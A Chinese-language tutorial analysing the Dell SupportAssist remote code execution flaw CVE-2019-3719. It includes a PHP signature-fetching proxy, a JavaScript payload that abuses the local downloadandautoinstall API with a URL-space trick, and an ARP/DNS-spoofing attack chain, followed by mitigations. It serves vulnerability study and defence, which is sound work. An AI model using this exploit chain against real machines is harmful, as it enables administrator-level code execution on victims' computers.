戴尔电脑自带系统软件SupportAssist存在RCE漏洞
字数 1970 2025-08-18 11:38:37
Dell SupportAssist RCE漏洞分析与利用教学文档
漏洞概述
漏洞名称: Dell SupportAssist 远程代码执行漏洞 (RCE)
CVE编号: CVE-2019-3719
影响范围: 预装Dell SupportAssist的戴尔电脑系统
漏洞类型: 远程代码执行
风险等级: 高危
发现者: 纽约17岁安全研究者
发现时间: 2018年11月
修复状态: 戴尔已于2019年初发布补丁
漏洞背景
Dell SupportAssist是戴尔电脑预装的系统工具,用于"主动检查系统硬件和软件运行状况",预装在大多数全新的戴尔电脑系统中。该软件存在设计缺陷,允许攻击者在同一网络环境中对目标系统实施远程代码执行攻击。
漏洞分析
1. 漏洞发现过程
研究人员在新购买的Dell G3 15电脑上发现:
- 访问戴尔技术支持网站时出现"Detect PC"功能
- 安装SupportAssist后,系统会创建SupportAssistAgent和Dell Hardware Support服务
- 服务监听8884端口(也可能是8883、8885或8886)
- 本地Web服务与戴尔网站通过REST API通信
2. 关键请求分析
戴尔网站通过以下请求与本机SupportAssistAgent服务交互:
POST http://127.0.0.1:8884/downloadservice/downloadmanualinstall?expires=expiretime&signature=signature
请求体包含JSON格式的下载信息,包括文件URL、名称等。
3. 完整性检查机制
SupportAssist实施了以下安全检查:
- 验证Referer/Origin是否为戴尔所属域名(.dell.com等)
- 验证请求是否来自localhost或127.0.0.1
- 验证下载文件的URL是否在白名单内
4. 绕过方法
攻击者可利用以下方式绕过检查:
- 从戴尔网站发现XSS漏洞
- 发现子域名劫持漏洞
- 构造本机恶意请求
- 生成随机子域名[random].dell.com并实施DNS劫持
5. 关键API方法
SupportAssist暴露了多个危险API方法,包括:
clientservice_getdevicedrivers- 获取可用更新downloadservice_downloadfiles- 下载文件downloadservice_downloadandautoinstall- 下载并自动执行文件diagnosticsservice_rebootsystem- 重启系统diagnosticsservice_launchtool- 启动诊断工具
6. 漏洞利用点
downloadservice_downloadandautoinstall方法存在严重问题:
- 接收JSON格式的下载请求
- 会执行下载的文件
- URL白名单检查可被绕过
漏洞利用详解
1. 利用条件
- 目标系统安装并运行SupportAssist
- 攻击者与目标在同一网络环境
- 能够实施ARP/DNS欺骗
2. 利用步骤
步骤1:获取服务签名
<?php
header('Access-Control-Allow-Origin: *');
echo file_get_contents('https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken');
?>
步骤2:发现服务端口
通过轮询8883-8886端口,检查/clientservice/isalive响应
步骤3:构造恶意请求
function SendRCEPayload() {
var auto_install_url = "http://127.0.0.1:" + server_port +
"/downloadservice/downloadandautoinstall?expires=" + signatures.Expires +
"&signature=" + signatures.DownloadAndAutoInstallToken;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", auto_install_url, true);
var files = [];
files.push({
"title": "SupportAssist RCE",
"category": "Serial ATA",
"name": "calc.EXE",
"location": " http://downloads.dell.com/calc.EXE", // 注意开头的空格
"isSecure": false,
"fileUniqueId": guid(),
"run": true,
"installOrder": 2,
"restricted": false,
"fileStatus": -99,
"driverId": "FXGNY",
"dupInstallReturnCode": 0,
"cssClass": "inactive-step",
"isReboot": false,
"scanPNPId": "PCI\\VEN_8086&DEV_282A&SUBSYS_08851028&REV_10",
"
$$
hashKey": "object:210"
});
xmlhttp.send(JSON.stringify(files));
}
关键技巧:在URL前添加空格绕过https替换:
"location": " http://downloads.dell.com/calc.EXE"
// 空格使Replace("http://", "https://")失效
步骤4:实施中间人攻击
- 获取目标IP地址
- 搭建恶意Web服务器:
- 检查Host头是否为downloads.dell.com
- 是则返回恶意可执行文件
- 否则返回恶意JS脚本
- 执行ARP欺骗
- 实施DNS欺骗
3. 完整攻击链
- 诱使受害者访问恶意子域名(如dellrce.dell.com)
- 返回恶意JS脚本
- 脚本发现SupportAssist服务端口
- 获取有效签名
- 发送精心构造的RCE Payload
- 通过ARP/DNS欺骗使目标从攻击者服务器下载恶意文件
- SupportAssist以管理员权限执行该文件
防御措施
1. 临时缓解方案
- 禁用或卸载SupportAssist
- 限制本地网络访问
2. 长期解决方案
- 安装戴尔发布的最新补丁
- 更新SupportAssist到最新版本
3. 通用安全建议
- 定期审查系统预装软件
- 限制不必要的本地服务
- 实施网络分段
- 监控异常网络活动
参考资源
- 漏洞PoC代码: https://github.com/D4stiny/Dell-Support-Assist-RCE-PoC
- 戴尔安全公告: 参考戴尔官方安全公告
总结
Dell SupportAssist RCE漏洞(CVE-2019-3719)是一个典型的企业预装软件安全问题,展示了:
- 本地服务暴露网络接口的风险
- 不完善的输入验证后果
- 供应链安全的重要性
- 中间人攻击的实际威胁
该案例强调了企业环境中终端安全管理和软件供应链安全的重要性,也展示了现代攻击技术如何组合利用多个弱点实现入侵。